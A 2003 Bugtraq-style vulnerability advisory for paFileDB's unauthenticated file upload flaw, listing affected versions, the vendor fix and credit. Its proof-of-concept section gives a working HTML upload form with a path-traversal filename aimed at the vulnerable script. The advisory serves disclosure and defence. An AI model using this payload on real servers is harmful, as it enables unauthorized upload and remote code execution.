PHP Arena paFileDB Arbitrary File Upload And Execution Vulnerability

BID:8271

Info

PHP Arena paFileDB Arbitrary File Upload And Execution Vulnerability

Bugtraq ID: 8271
Class: Access Validation Error
CVE:
Remote: Yes
Local: No
Published: Jul 24 2003 12:00AM
Updated: Jul 24 2003 12:00AM
Credit: Reported by Martin Eiszner <[email protected]>.
Vulnerable: PHP Arena paFileDB 3.1
PHP Arena paFileDB 3.0 Beta 3.1
PHP Arena paFileDB 3.0
PHP Arena paFileDB 2.1.1
PHP Arena paFileDB 1.1.3
Not Vulnerable:

Discussion

PHP Arena paFileDB Arbitrary File Upload And Execution Vulnerability

It has been reported that a script contained in paFileDB does not properly verify user credentials before accepting files for upload. As a result, remote attackers may be able to upload files to the Web server. After a file has been uploaded, it may be possible for the attacker to execute the file remotely.

Exploit / POC

PHP Arena paFileDB Arbitrary File Upload And Execution Vulnerability

The following example has been provided:

<html><body>
<form ENCTYPE="multipart/form-data" method="POST" action="http://srv/pafiledb/includes/team/file.php">
<input name="userfile" TYPE="file"><br>
<input name="userfile_name" TYPE="text" value="../../../uploads/makeawish"><br>
<input type="hidden" name="action" value="team">
<input type="hidden" name="tm" value="file">
<input type="hidden" name="file" value="upload">
<input type="hidden" name="upload" value="do">
<input type=submit name=submit value="doit">
</form>
</body></html>

Solution / Fix

PHP Arena paFileDB Arbitrary File Upload And Execution Vulnerability

Solution:
The vendor has released an updated version of paFileDB to correct this issue. Please note, the vendor has intentionally not incremented the version number. This was done to prevent attackers from easily identifying unpatched systems. This has been fixed in a second release of paFileDB version 3.1.


PHP Arena paFileDB 3.1

References

PHP Arena paFileDB Arbitrary File Upload And Execution Vulnerability

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